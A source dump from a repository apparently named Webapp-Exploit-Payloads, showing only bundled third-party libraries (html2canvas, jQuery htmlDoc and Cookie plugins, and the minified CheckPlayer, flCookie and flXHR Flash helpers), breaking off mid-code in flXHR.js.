html2canvas.log = h2clog; // for renderers 2638 | html2canvas.Renderer = { 2639 | Canvas: undefined // We are assuming this will be used 2640 | }; 2641 | 2642 | /* 2643 | html2canvas v0.34 2644 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved. 2645 | http://www.twitter.com/niklasvh 2646 | 2647 | Released under MIT License 2648 | */ 2649 | 2650 | 2651 | _html2canvas.Renderer.Canvas = function( options ) { 2652 | 2653 | options = options || {}; 2654 | 2655 | var doc = document, 2656 | canvas = options.canvas || doc.createElement('canvas'), 2657 | usingFlashcanvas = false, 2658 | _createCalled = false, 2659 | canvasReadyToDraw = false, 2660 | methods, 2661 | flashMaxSize = 2880; // flash bitmap limited to 2880x2880px // http://stackoverflow.com/questions/2033792/argumenterror-error-2015-invalid-bitmapdata 2662 | 2663 | 2664 | if (canvas.getContext){ 2665 | h2clog("html2canvas: Renderer: using canvas renderer"); 2666 | canvasReadyToDraw = true; 2667 | } else if ( options.flashcanvas !== undefined ){ 2668 | usingFlashcanvas = true; 2669 | h2clog("html2canvas: Renderer: canvas not available, using flashcanvas"); 2670 | var script = doc.createElement("script"); 2671 | script.src = options.flashcanvas; 2672 | 2673 | script.onload = (function(script, func){ 2674 | var intervalFunc; 2675 | 2676 | if (script.onload === undefined) { 2677 | // IE lack of support for script onload 2678 | 2679 | if( script.onreadystatechange !== undefined ) { 2680 | 2681 | intervalFunc = function() { 2682 | if (script.readyState !== "loaded" && script.readyState !== "complete") { 2683 | window.setTimeout( intervalFunc, 250 ); 2684 | 2685 | } else { 2686 | // it is loaded 2687 | func(); 2688 | 2689 | } 2690 | 2691 | }; 2692 | 2693 | window.setTimeout( intervalFunc, 250 ); 2694 | 2695 | } else { 2696 | h2clog("html2canvas: Renderer: Can't track when flashcanvas is loaded"); 2697 | } 2698 | 2699 | } else { 2700 | return func; 2701 | } 2702 | 2703 | })(script, function(){ 2704 | 2705 | if (typeof window.FlashCanvas !== "undefined") { 2706 | h2clog("html2canvas: Renderer: Flashcanvas initialized"); 2707 | window.FlashCanvas.initElement( canvas ); 2708 | 2709 | canvasReadyToDraw = true; 2710 | if ( _createCalled !== false ) { 2711 | methods._create.apply( null, _createCalled ); 2712 | } 2713 | } 2714 | }); 2715 | 2716 | doc.body.appendChild( script ); 2717 | 2718 | } 2719 | 2720 | methods = { 2721 | _create: function( zStack, options, doc, queue, _html2canvas ) { 2722 | 2723 | if ( !canvasReadyToDraw ) { 2724 | _createCalled = arguments; 2725 | return canvas; 2726 | } 2727 | 2728 | var ctx = canvas.getContext("2d"), 2729 | storageContext, 2730 | i, 2731 | queueLen, 2732 | a, 2733 | newCanvas, 2734 | bounds, 2735 | testCanvas = document.createElement("canvas"), 2736 | hasCTX = ( testCanvas.getContext !== undefined ), 2737 | storageLen, 2738 | renderItem, 2739 | testctx = ( hasCTX ) ? testCanvas.getContext("2d") : {}, 2740 | safeImages = [], 2741 | fstyle; 2742 | 2743 | canvas.width = canvas.style.width = (!usingFlashcanvas) ? options.width || zStack.ctx.width : Math.min(flashMaxSize, (options.width || zStack.ctx.width) ); 2744 | canvas.height = canvas.style.height = (!usingFlashcanvas) ? options.height || zStack.ctx.height : Math.min(flashMaxSize, (options.height || zStack.ctx.height) ); 2745 | 2746 | fstyle = ctx.fillStyle; 2747 | ctx.fillStyle = zStack.backgroundColor; 2748 | ctx.fillRect(0, 0, canvas.width, canvas.height); 2749 | ctx.fillStyle = fstyle; 2750 | 2751 | if ( options.svgRendering && zStack.svgRender !== undefined ) { 2752 | // TODO: enable async rendering to support this 2753 | ctx.drawImage( zStack.svgRender, 0, 0 ); 2754 | } else { 2755 | for ( i = 0, queueLen = queue.length; i < queueLen; i+=1 ) { 2756 | 2757 | storageContext = queue.splice(0, 1)[0]; 2758 | storageContext.canvasPosition = storageContext.canvasPosition || {}; 2759 | 2760 | //this.canvasRenderContext(storageContext,parentctx); 2761 | 2762 | // set common settings for canvas 2763 | ctx.textBaseline = "bottom"; 2764 | 2765 | if (storageContext.clip){ 2766 | ctx.save(); 2767 | ctx.beginPath(); 2768 | // console.log(storageContext); 2769 | ctx.rect(storageContext.clip.left, storageContext.clip.top, storageContext.clip.width, storageContext.clip.height); 2770 | ctx.clip(); 2771 | 2772 | } 2773 | 2774 | if (storageContext.ctx.storage){ 2775 | 2776 | for (a = 0, storageLen = storageContext.ctx.storage.length; a < storageLen; a+=1){ 2777 | 2778 | renderItem = storageContext.ctx.storage[a]; 2779 | 2780 | 2781 | switch(renderItem.type){ 2782 | case "variable": 2783 | ctx[renderItem.name] = renderItem['arguments']; 2784 | break; 2785 | case "function": 2786 | if (renderItem.name === "fillRect") { 2787 | 2788 | if (!usingFlashcanvas || renderItem['arguments'][0] + renderItem['arguments'][2] < flashMaxSize && renderItem['arguments'][1] + renderItem['arguments'][3] < flashMaxSize) { 2789 | ctx.fillRect.apply( ctx, renderItem['arguments'] ); 2790 | } 2791 | }else if(renderItem.name === "fillText") { 2792 | if (!usingFlashcanvas || renderItem['arguments'][1] < flashMaxSize && renderItem['arguments'][2] < flashMaxSize) { 2793 | ctx.fillText.apply( ctx, renderItem['arguments'] ); 2794 | } 2795 | }else if(renderItem.name === "drawImage") { 2796 | 2797 | if (renderItem['arguments'][8] > 0 && renderItem['arguments'][7]){ 2798 | if ( hasCTX && options.taintTest ) { 2799 | if ( safeImages.indexOf( renderItem['arguments'][ 0 ].src ) === -1 ) { 2800 | testctx.drawImage( renderItem['arguments'][ 0 ], 0, 0 ); 2801 | try { 2802 | testctx.getImageData( 0, 0, 1, 1 ); 2803 | } catch(e) { 2804 | testCanvas = doc.createElement("canvas"); 2805 | testctx = testCanvas.getContext("2d"); 2806 | continue; 2807 | } 2808 | 2809 | safeImages.push( renderItem['arguments'][ 0 ].src ); 2810 | 2811 | } 2812 | } 2813 | ctx.drawImage.apply( ctx, renderItem['arguments'] ); 2814 | } 2815 | } 2816 | 2817 | 2818 | break; 2819 | default: 2820 | 2821 | } 2822 | 2823 | } 2824 | 2825 | } 2826 | if (storageContext.clip){ 2827 | ctx.restore(); 2828 | } 2829 | 2830 | } 2831 | } 2832 | 2833 | h2clog("html2canvas: Renderer: Canvas renderer done - returning canvas obj"); 2834 | 2835 | queueLen = options.elements.length; 2836 | 2837 | if (queueLen === 1) { 2838 | if (typeof options.elements[ 0 ] === "object" && options.elements[ 0 ].nodeName !== "BODY" && usingFlashcanvas === false) { 2839 | // crop image to the bounds of selected (single) element 2840 | bounds = _html2canvas.Util.Bounds( options.elements[ 0 ] ); 2841 | newCanvas = doc.createElement('canvas'); 2842 | newCanvas.width = bounds.width; 2843 | newCanvas.height = bounds.height; 2844 | ctx = newCanvas.getContext("2d"); 2845 | 2846 | ctx.drawImage( canvas, bounds.left, bounds.top, bounds.width, bounds.height, 0, 0, bounds.width, bounds.height ); 2847 | canvas = null; 2848 | return newCanvas; 2849 | } 2850 | } /*else { 2851 | // TODO clip and resize multiple elements 2852 | 2853 | for ( i = 0; i < queueLen; i+=1 ) { 2854 | if (options.elements[ i ] instanceof Element) { 2855 | 2856 | } 2857 | 2858 | } 2859 | } 2860 | */ 2861 | 2862 | 2863 | 2864 | return canvas; 2865 | } 2866 | }; 2867 | 2868 | return methods; 2869 | 2870 | }; 2871 | 2872 | window.html2canvas = html2canvas; 2873 | }(window, document)); 2874 | 2875 | -------------------------------------------------------------------------------- /src/includes/html2canvas/jquery.plugin.html2canvas.js: -------------------------------------------------------------------------------- 1 | /** 2 | @license html2canvas v0.34 3 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved. 4 | http://www.twitter.com/niklasvh 5 | 6 | Released under MIT License 7 | */ 8 | /* 9 | * jQuery helper plugin for examples and tests 10 | */ 11 | (function( $ ){ 12 | $.fn.html2canvas = function(options) { 13 | if (options && options.profile && window.console && window.console.profile) { 14 | console.profile(); 15 | } 16 | var date = new Date(), 17 | html2obj, 18 | $message = null, 19 | timeoutTimer = false, 20 | timer = date.getTime(); 21 | options = options || {}; 22 | 23 | options.onrendered = options.onrendered || function( canvas ) { 24 | var $canvas = $(canvas), 25 | finishTime = new Date(); 26 | 27 | if (options && options.profile && window.console && window.console.profileEnd) { 28 | console.profileEnd(); 29 | } 30 | $canvas.css({ 31 | position: 'absolute', 32 | left: 0, 33 | top: 0 34 | }).appendTo(document.body); 35 | $canvas.siblings().toggle(); 36 | 37 | $(window).click(function(){ 38 | $canvas.toggle().siblings().toggle(); 39 | throwMessage("Canvas Render " + ($canvas.is(':visible') ? "visible" : "hidden")); 40 | }); 41 | throwMessage('Screenshot created in '+ ((finishTime.getTime()-timer)) + " ms
",4000); 42 | 43 | // test if canvas is read-able 44 | try { 45 | $canvas[0].toDataURL(); 46 | } catch(e) { 47 | if ($canvas[0].nodeName.toLowerCase() === "canvas") { 48 | // TODO, maybe add a bit less offensive way to present this, but still something that can easily be noticed 49 | alert("Canvas is tainted, unable to read data"); 50 | } 51 | } 52 | }; 53 | 54 | html2obj = html2canvas(this, options); 55 | 56 | function throwMessage(msg,duration){ 57 | window.clearTimeout(timeoutTimer); 58 | timeoutTimer = window.setTimeout(function(){ 59 | $message.fadeOut(function(){ 60 | $message.remove(); 61 | $message = null; 62 | }); 63 | },duration || 2000); 64 | if ($message) 65 | $message.remove(); 66 | $message = $('
').html(msg).css({ 67 | margin:0, 68 | padding:10, 69 | background: "#000", 70 | opacity:0.7, 71 | position:"fixed", 72 | top:10, 73 | right:10, 74 | fontFamily: 'Tahoma', 75 | color:'#fff', 76 | fontSize:12, 77 | borderRadius:12, 78 | width:'auto', 79 | height:'auto', 80 | textAlign:'center', 81 | textDecoration:'none', 82 | display:'none' 83 | }).appendTo(document.body).fadeIn(); 84 | html2obj.log(msg); 85 | } 86 | }; 87 | })( jQuery ); 88 | 89 | -------------------------------------------------------------------------------- /src/includes/jquery.ba-htmldoc.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * jQuery htmlDoc "fixer" - v0.2pre - 12/15/2010 3 | * http://benalman.com/projects/jquery-misc-plugins/ 4 | * 5 | * Copyright (c) 2010 "Cowboy" Ben Alman 6 | * Dual licensed under the MIT and GPL licenses. 7 | * http://benalman.com/about/license/ 8 | */ 9 | 10 | (function($){ 11 | 12 | var // RegExp that matches opening and closing HTML, HEAD, BODY tags. 13 | // $1 = slash, $2 = tag name, $3 = attributes 14 | rtag = /<(\/?)(html|head|body)(\s+[^>]*)?>/ig, 15 | 16 | // Unique id prefix for selecting placeholder elements. 17 | prefix = 'hd' + +new Date(); 18 | 19 | $.htmlDoc = function( str ) { 20 | var // A collection of "intended" elements that can't be rendered 21 | // cross-browser with .innerHTML, for which placeholders must be 22 | // swapped. 23 | elems = $([]), 24 | 25 | // Input HTML string, parsed to include placeholder DIVs. 26 | parsed, 27 | 28 | // A node under which a temporary DOM tree can be constructed. 29 | root; 30 | 31 | // Replace HTML, HEAD, BODY tags with DIV placeholders. 32 | parsed = str.replace( rtag, function( tag, slash, name, attrs ) { 33 | 34 | var // Current intended / placeholder element index. 35 | len = elems.length, 36 | 37 | // Temporary object in which to hold attributes. 38 | obj = {}; 39 | 40 | // If this is an opening tag... 41 | if ( !slash ) { 42 | 43 | // Add an element of this name into the collection of elements. Note 44 | // that if a string of attributes is added at this point, it fails. 45 | elems = elems.add( '<' + name + '/>' ); 46 | 47 | // If the original tag had attributes, create a temporary div with 48 | // those attributes. Then, copy each attribute from the temporary div 49 | // over to the temporary object. 50 | if ( attrs ) { 51 | $.each( $( '' )[0].attributes, function(i,v){ 52 | obj[ v.name ] = v.value; 53 | }); 54 | } 55 | 56 | // Set the attributes of the intended object based on the attributes 57 | // copied in the previous step. 58 | elems.eq( len ).attr( obj ); 59 | } 60 | 61 | // A placeholder div with a unique id replaces the intended element's 62 | // tag in the parsed HTML string. 63 | return '<' + slash + 'div' 64 | + ( slash ? '' : ' id="' + prefix + len + '"' ) + '>'; 65 | }); 66 | 67 | // If placeholder elements were necessary... 68 | if ( elems.length ) { 69 | 70 | // Create the root node and append the parsed, place-held HTML. 71 | root = $('
').html( parsed ); 72 | 73 | // Replace each placeholder element with its intended element. 74 | $.each( elems, function(i,v){ 75 | var elem = root.find( '#' + prefix + i ).before( elems[i] ); 76 | elems.eq(i).html( elem.contents() ); 77 | elem.remove(); 78 | }); 79 | 80 | // Return the topmost intended element(s), sans text nodes. 81 | return root.children(); 82 | } 83 | 84 | // No placeholder elements were necessary, so just return a normal 85 | // jQuery-parsed HTML string. 86 | return $(str); 87 | }; 88 | 89 | })(jQuery); 90 | -------------------------------------------------------------------------------- /src/includes/jquery.cookie.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * jQuery Cookie Plugin 3 | * https://github.com/carhartl/jquery-cookie 4 | * 5 | * Copyright 2011, Klaus Hartl 6 | * Dual licensed under the MIT or GPL Version 2 licenses. 7 | * http://www.opensource.org/licenses/mit-license.php 8 | * http://www.opensource.org/licenses/GPL-2.0 9 | */ 10 | (function($) { 11 | $.cookie = function(key, value, options) { 12 | 13 | // key and at least value given, set cookie... 14 | if (arguments.length > 1 && (!/Object/.test(Object.prototype.toString.call(value)) || value === null || value === undefined)) { 15 | options = $.extend({}, options); 16 | 17 | if (value === null || value === undefined) { 18 | options.expires = -1; 19 | } 20 | 21 | if (typeof options.expires === 'number') { 22 | var days = options.expires, t = options.expires = new Date(); 23 | t.setDate(t.getDate() + days); 24 | } 25 | 26 | value = String(value); 27 | 28 | return (document.cookie = [ 29 | encodeURIComponent(key), '=', options.raw ? value : encodeURIComponent(value), 30 | options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE 31 | options.path ? '; path=' + options.path : '', 32 | options.domain ? '; domain=' + options.domain : '', 33 | options.secure ? '; secure' : '' 34 | ].join('')); 35 | } 36 | 37 | // key and possibly options given, get cookie... 38 | options = value || {}; 39 | var decode = options.raw ? function(s) { return s; } : decodeURIComponent; 40 | 41 | var pairs = document.cookie.split('; '); 42 | for (var i = 0, pair; pair = pairs[i] && pairs[i].split('='); i++) { 43 | if (decode(pair[0]) === key) return decode(pair[1] || ''); // IE saves cookies with empty string as "c; ", e.g. without "=" as opposed to EOMB, thus pair[1] may be undefined 44 | } 45 | return null; 46 | }; 47 | })(jQuery); 48 | -------------------------------------------------------------------------------- /src/includes/serverside/simplepassthru.php: -------------------------------------------------------------------------------- 1 |
-------------------------------------------------------------------------------- /src/includes/swf/checkplayer.js: -------------------------------------------------------------------------------- 1 | /* CheckPlayer 1.0.2 2 | Copyright (c) 2008 Kyle Simpson, Getify Solutions, Inc. 3 | This software is released under the MIT License 4 | 5 | ==================================================================================================== 6 | Portions of this code were extracted and/or derived from: 7 | 8 | SWFObject v2.1 & 2.2a8 9 | Copyright (c) 2007-2008 Geoff Stearns, Michael Williams, and Bobby van der Sluis 10 | This software is released under the MIT License 11 | */ 12 | (function(R){var E=R,V=R.document,N="undefined",G=true,X=false,W="",H="object",O="function",T="string",M="div",D="onunload",J="none",U=null,P=null,I=null,L=null,K="flensed.js",F="checkplayer.js",B="swfobject.js",C=R.setTimeout,A=R.clearTimeout,S=R.setInterval,Q=R.clearInterval;if(typeof R.flensed===N){R.flensed={}}if(typeof R.flensed.checkplayer!==N){return }P=R.flensed;C(function(){var Y=X,i=V.getElementsByTagName("script"),d=i.length;try{P.base_path.toLowerCase();Y=G}catch(b){P.base_path=""}function g(o,n,p){for(var m=0;m=0){break}}}var l=V.createElement("script");l.setAttribute("src",P.base_path+o);if(typeof n!==N){l.setAttribute("type",n)}if(typeof p!==N){l.setAttribute("language",p)}V.getElementsByTagName("head")[0].appendChild(l)}if((typeof i!==N)&&(i!==null)){if(!Y){var j=0;for(var c=0;c=0)||((j=i[c].src.indexOf(F))>=0)){P.base_path=i[c].src.substr(0,j);break}}}}}try{R.swfobject.getObjectById("a")}catch(h){g(B,"text/javascript")}try{P.ua.pv.join(".")}catch(f){g(K,"text/javascript")}function Z(){A(a);try{E.detachEvent(D,arguments.callee)}catch(k){}}try{E.attachEvent(D,Z)}catch(e){}var a=C(function(){Z();try{R.swfobject.getObjectById("a");P.ua.pv.join(".")}catch(k){throw new R.Error("CheckPlayer dependencies failed to load.")}},20000)},0);P.checkplayer=function(x,AI,o,AB){if(typeof I._ins!==N){if(I._ins.ready()){setTimeout(function(){AI(I._ins)},0)}return I._ins}var a="6.0.65",z=[],i=null,f=X,g=null,AK=null,s=W,d=X,l=null,b=[],r={},AA=[],e=null,AG=null,AF=null,m=null,h=X,AH=null,k=X,t=X,p=X,AE=null;var Z=function(){if((typeof x!==N)&&(x!==null)&&(x!==X)){AG=x+W}else{AG="0.0.0"}if(typeof AI===O){AF=AI}if(typeof o!==N){h=!(!o)}if(typeof AB===O){m=AB}function AM(){A(g);try{E.detachEvent(D,AM)}catch(AP){}}try{E.attachEvent(D,AM)}catch(AN){}(function AO(){try{P.bindEvent(E,D,y)}catch(AP){g=C(arguments.callee,25);return }AM();AH=P.ua.pv.join(".");g=C(AD,1)})()}();function AD(){try{e=V.getElementsByTagName("body")[0]}catch(AN){}if((typeof e===N)||(e===null)){g=C(AD,25);return }try{R.swfobject.getObjectById("a");L=R.swfobject}catch(AM){g=C(AD,25);return }t=L.hasFlashPlayerVersion(a);k=L.hasFlashPlayerVersion(AG);AJ();if(typeof AF===O){AF(j)}d=G;if(k){u()}else{if(h&&!f){v()}}}function y(){if(typeof E.detachEvent!==N){E.detachEvent(D,y)}I._ins=null;if((typeof l!==N)&&(l!==null)){try{l.updateSWFCallback=null;AC=null}catch(AP){}l=null}try{for(var AO in j){if(j[AO]!==Object.prototype[AO]){try{j[AO]=null}catch(AN){}}}}catch(AM){}j=null;e=null;Y();AA=null;AF=null;m=null;try{for(var AS in I){if(I[AS]!==Object.prototype[AS]){try{I[AS]=null}catch(AR){}}}}catch(AQ){}I=null;P.checkplayer=null;P=null;R=null}function AL(AN,AO,AM){AA[AA.length]={func:AN,funcName:AO,args:AM}}function u(){if(!d){i=C(u,25);return }var AO=0;try{AO=AA.length}catch(AP){}for(var AN=0;AN0)){Aa=Ad.swfTimeout}if(typeof Ad.swfEICheck!==N&&Ad.swfEICheck!==null&&Ad.swfEICheck!==W){AM=Ad.swfEICheck}}else{if(typeof Ad===O){AX=Ad}}}try{AV=L.createSWF(AZ,AY,Ag)}catch(AQ){}if(AV!==null){b[b.length]=Ae;if(typeof AX===O){AX({status:I.SWF_INIT,srcId:Ae,srcElem:AV});r[Ae]=S(function(){var Ai=P.getObjectById(Ae);if((typeof Ai!==N)&&(Ai!==null)&&(Ai.nodeName==="OBJECT"||Ai.nodeName==="EMBED")){var Ah=0;try{Ah=Ai.PercentLoaded()}catch(Aj){}if(Ah>0){if(Aa>0){A(r["DoSWFtimeout_"+Ae]);r["DoSWFtimeout_"+Ae]=X}if(Ah<100){C(function(){AX({status:I.SWF_LOADING,srcId:Ae,srcElem:Ai})},1)}else{Q(r[Ae]);r[Ae]=X;C(function(){AX({status:I.SWF_LOADED,srcId:Ae,srcElem:Ai})},1);if(AM!==W){var Ak=X;r[Ae]=S(function(){if(!Ak&&typeof Ai[AM]===O){Ak=G;try{Ai[AM]();Q(r[Ae]);r[Ae]=X;AX({status:I.SWF_EI_READY,srcId:Ae,srcElem:Ai})}catch(Al){}Ak=X}},25)}}}}},50);if(Aa>0){r["DoSWFtimeout_"+Ae]=C(function(){var Ai=P.getObjectById(Ae);if((typeof Ai!==N)&&(Ai!==null)&&(Ai.nodeName==="OBJECT"||Ai.nodeName==="EMBED")){var Ah=0;try{Ah=Ai.PercentLoaded()}catch(Aj){}if(Ah<=0){Q(r[Ae]);r[Ae]=X;if(P.ua.ie&&P.ua.win&&Ai.readyState!==4){Ai.id="removeSWF_"+Ai.id;Ai.style.display=J;r[Ai.id]=S(function(){if(Ai.readyState===4){Q(r[Ai.id]);r[Ai.id]=X;L.removeSWF(Ai.id)}},500)}else{L.removeSWF(Ai.id)}r[Ae]=X;r["DoSWFtimeout_"+Ae]=X;AX({status:I.SWF_TIMEOUT,srcId:Ae,srcElem:Ai})}}},Aa)}}}else{if(typeof AX===O){AX({status:I.SWF_FAILED,srcId:Ae,srcElem:null})}else{throw new R.Error("checkplayer::DoSWF(): SWF could not be loaded.")}}}else{if(typeof AX===O){AX({status:I.SWF_FAILED,srcId:Ae,srcElem:null})}else{throw new R.Error("checkplayer::DoSWF(): Minimum Flash Version not detected.")}}}var j={playerVersionDetected:AH,versionChecked:AG,checkPassed:k,UpdatePlayer:v,DoSWF:function(AR,AS,AP,AQ,AN,AM,AO,AT){q(AR,AS,AP,AQ,AN,AM,AO,AT,X)},ready:function(){return d},updateable:t,updateStatus:p,updateControlsContainer:AE};I._ins=j;return j};I=P.checkplayer;I.UPDATE_INIT=1;I.UPDATE_SUCCESSFUL=2;I.UPDATE_CANCELED=3;I.UPDATE_FAILED=4;I.SWF_INIT=5;I.SWF_LOADING=6;I.SWF_LOADED=7;I.SWF_FAILED=8;I.SWF_TIMEOUT=9;I.SWF_EI_READY=10;I.module_ready=function(){}})(window); -------------------------------------------------------------------------------- /src/includes/swf/flCookie.js: -------------------------------------------------------------------------------- 1 | /* flCookie 0.1 2 | Copyright (c) 2009 Kyle Simpson, Getify Solutions, Inc. 3 | This software is released under the MIT License 4 | 5 | ==================================================================================================== 6 | */ 7 | (function(r){var x=r,n=r.document,v=true,o=false,b="",w="undefined",l="object",p="function",m="string",t="div",f="onunload",z=null,y=0,q=null,j=null,u=null,a="text/javascript",i="flCookie.js",k="flensed.js",d="checkplayer.js",g="flCookie.swf",h=i,e=r.parseInt,s=r.setTimeout,c=r.clearTimeout;if(typeof r.flensed===w){r.flensed={}}if(typeof r.flensed.flCookie!==w){return}q=r.flensed;s(function(){var A=o,L=n.getElementsByTagName("script"),P=n.getElementsByTagName("head")[0],F=L.length;try{q.base_path.toLowerCase();A=v}catch(D){q.base_path=b}function J(T,S){for(var R=0;R=0){break}}}var Q=n.createElement("script");Q.setAttribute("src",q.base_path+T);if(typeof S!==w){Q.setAttribute("type",S)}P.appendChild(Q)}if((typeof L!==w)&&(L!==null)){if(!A){var M=0;for(var E=0;E=0)||((M=L[E].src.indexOf(i))>=0)){q.base_path=L[E].src.substr(0,M);break}}}}}try{q.checkplayer.module_ready()}catch(K){J(d,a)}J(k,a);var N=null;(function O(){try{q.ua.pv.join(".")}catch(Q){N=s(arguments.callee,25);return}q.bindEvent(x,f,function(){try{r.flensed.unbindEvent(x,f,arguments.callee);for(var T in _flcookie){if(_flcookie.hasOwnProperty(T)){try{_flcookie[T]=null}catch(S){}}}q.flCookie=_flcookie=q=u=j=null}catch(R){}})})();function I(){c(N);try{x.detachEvent(f,I)}catch(Q){}}if(N!==null){try{x.attachEvent(f,I)}catch(H){}}var C=null;function B(){c(C);try{x.detachEvent(f,B)}catch(Q){}}try{x.attachEvent(f,B)}catch(G){}C=s(function(){B();try{q.checkplayer.module_ready()}catch(Q){throw new r.Error("flCookie dependencies failed to load.")}},20000)},0);q.flCookie=function(B,af,S,ab){if(typeof B===m){if(B.length>0&&B.charAt(B.length-1)!=="/"){B+="/"}}else{B=b}if(typeof af!==m){af=b}if(typeof S!==p){S=function(){}}var R=++y,N,G=null,L,P="flCookieHideSwf",K=o,A=o,J=o,V=b,D,I=n.getElementsByTagName("body"),W=o,Y=null,F="flCookie_swf";var aa=function(){V=F+"_"+R;function ag(){c(L);try{x.detachEvent(f,ag)}catch(aj){}}try{x.attachEvent(f,ag)}catch(ah){}(function ai(){try{q.bindEvent(x,f,O)}catch(aj){L=s(arguments.callee,25);return}ag();L=s(X,1)})()}();function X(){if(Y===null){G=I[0]}else{G=q.getObjectById(Y)}try{G.nodeName.toLowerCase();q.checkplayer.module_ready();j=q.checkplayer}catch(ah){L=s(X,25);return}q.bindEvent(x,f,O);j=q.checkplayer;if((u===null)&&(typeof j._ins===w)){try{u=new j(_flcookie.MIN_PLAYER_VERSION,T,o,Z)}catch(ag){U(_flcookie.DEPENDENCY_ERROR,"flCookie: checkplayer Init Failed","The initialization of the 'checkplayer' library failed to complete.");return}}else{u=j._ins;ad()}}function ad(){if(K===null&&Y===null){q.createCSS("."+P,"left:-1px;top:0px;width:1px;height:1px;position:absolute;");K=v}var ak=n.createElement(t);ak.id=V;ak.className=P;G.appendChild(ak);G=null;var ah={},al={allowScriptAccess:"always"},ai={id:V,name:V,styleclass:P},aj={swfCB:M,swfEICheck:"setId"};try{u.DoSWF(B+g,V,"1","1",ah,al,ai,aj)}catch(ag){U(_flcookie.DEPENDENCY_ERROR,"flCookie: checkplayer Call Failed","A call to the 'checkplayer' library failed to complete.");return}}function T(ag){if(ag.checkPassed){ad()}else{if(!W){U(_flcookie.PLAYER_VERSION_ERROR,"flCookie: Insufficient Flash Player Version","The Flash Player was either not detected, or the detected version ("+ag.playerVersionDetected+") was not at least the minimum version ("+_flcookie.MIN_PLAYER_VERSION+") needed by the 'flCookie' library.")}else{u.UpdatePlayer()}}}function Z(ag){if(ag.updateStatus===j.UPDATE_CANCELED){U(_flcookie.PLAYER_VERSION_ERROR,"flCookie: Flash Player Update Canceled","The Flash Player was not updated.")}else{if(ag.updateStatus===j.UPDATE_FAILED){U(_flcookie.PLAYER_VERSION_ERROR,"flCookie: Flash Player Update Failed","The Flash Player was either not detected or could not be updated.")}}}function M(ag){if(ag.status!==j.SWF_EI_READY){return}ae();D=q.getObjectById(V);D.setId(V);D.doOnError=U;D.doOnReady=Q;D.initCookie(af)}function ac(ag){A=v;s(function(){try{S(N)}catch(ah){U(_flcookie.HANDLER_ERROR,"flCookie::readyCallback(): Error","An error occurred in the handler function. ("+ah.message+")");return}},0)}function O(){try{r.flensed.unbindEvent(x,f,O)}catch(aj){}try{for(var ai in N){if(N.hasOwnProperty(ai)){try{N[ai]=null}catch(ah){}}}}catch(am){}N=null;ae();if((typeof D!==w)&&(D!==null)){try{D.doOnError=null;doOnError=null}catch(al){}try{D.doOnReady=null;doOnReady=null}catch(ak){}D=null;try{r.swfobject.removeSWF(V)}catch(ag){}}S=null;ab=null}function Q(){if(!A&&!J){ac()}}function U(){ae();J=v;var aj;try{aj=new q.error(arguments[0],arguments[1],arguments[2],N)}catch(ak){function ah(){this.number=0;this.name="flCookie Error: Unknown";this.description="Unknown error from 'flCookie' library.";this.message=this.description;this.srcElement=N;var ao=this.number,an=this.name,aq=this.description;function ap(){return ao+", "+an+", "+aq}this.toString=ap}aj=new ah()}var al=o;try{if(typeof ab===p){ab(aj);al=v}}catch(ag){var ai=aj.toString();function am(){this.number=_flcookie.HANDLER_ERROR;this.name="flCookie::errorCallback(): Error";this.description="An error occured in the handler function. ("+ag.message+")\nPrevious:["+ai+"]";this.message=this.description;this.srcElement=N;var ao=this.number,an=this.name,aq=this.description;function ap(){return ao+", "+an+", "+aq}this.toString=ap}aj=new am()}if(!al){SETTIMEOUT(function(){q.throwUnhandledError(aj.toString())},1)}}function ae(){c(L);L=null}function E(ah){if(!J){if(typeof ah!==m||ah.length<1){return null}var ag=new Date().getTime(),ak,ai;try{ak=D.getValue(ah)}catch(aj){U(_flcookie.CALL_ERROR,"flCookie::getValue(): Failed","The getValue() call failed to complete.");return null}if(ak!==null){ak=ak.match(/^([^\;]+);(.*)/m);if(ak.length!==3||(ak[1]!=="."&&ag>=e(ak[1]))){H(ah);return null}return ak[2]}else{return null}}else{return null}}function C(ah,aj,ag){if(!J){if(typeof ah!==m||ah.length<1||typeof aj!==m||aj.length<1){return null}if(typeof ag!==w){if(typeof ag!==m){ag=b+ag}if(ag!=="."&&ag.match(/[^0-9]/g)){ag=Date.parse(ag)}else{if(ag===b){ag="."}}}else{ag="."}try{return D.setValue(ah,ag+";"+aj)}catch(ai){U(_flcookie.IO_ERROR,"flCookie::setValue(): Failed","The setValue() call failed to complete.");return o}}else{return o}}function H(ag){if(!J){if(typeof ag!==m||ag.length<1){return o}try{return D.deleteValue(ag)}catch(ah){U(_flcookie.IO_ERROR,"flCookie::deleteValue(): Failed","The deleteValue() call failed to complete.");return o}}else{return o}}N={instanceId:V,ready:function(){return A},getValue:E,setValue:C,deleteValue:H,Destroy:O};return N};_flcookie=q.flCookie;_flcookie.HANDLER_ERROR=10;_flcookie.CALL_ERROR=11;_flcookie.DEPENDENCY_ERROR=13;_flcookie.PLAYER_VERSION_ERROR=14;_flcookie.SECURITY_ERROR=15;_flcookie.IO_ERROR=16;_flcookie.MIN_PLAYER_VERSION="9";_flcookie.module_ready=function(){}})(window); -------------------------------------------------------------------------------- /src/includes/swf/flCookie.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/Webapp-Exploit-Payloads/4413e6c79201149585448a980d1540211ee1ae90/src/includes/swf/flCookie.swf -------------------------------------------------------------------------------- /src/includes/swf/flXHR.js: -------------------------------------------------------------------------------- 1 | /* flXHR 1.0.5 | Copyright (c) 2008-2010 Kyle Simpson, Getify Solutions, Inc. | This software is released under the MIT License */ 2 | (function(c){var E=c,h=c.document,z="undefined",a=true,L=false,g="",o="object",k="function",N="string",l="div",e="onunload",H=null,y=null,K=null,q=null,x=0,i=[],m=null,r=null,G="flXHR.js",n="flensed.js",P="flXHR.vbs",j="checkplayer.js",A="flXHR.swf",u=c.parseInt,w=c.setTimeout,f=c.clearTimeout,s=c.setInterval,v=c.clearInterval,O="instanceId",J="readyState",D="onreadystatechange",M="ontimeout",C="onerror",d="binaryResponseBody",F="xmlResponseText",I="loadPolicyURL",b="noCacheHeader",p="sendTimeout",B="appendToId",t="swfIdPrefix";if(typeof c.flensed===z){c.flensed={}}if(typeof c.flensed.flXHR!==z){return}y=c.flensed;w(function(){var Q=L,ab=h.getElementsByTagName("script"),V=ab.length;try{y.base_path.toLowerCase();Q=a}catch(T){y.base_path=g}function Z(ai,ah,aj){for(var 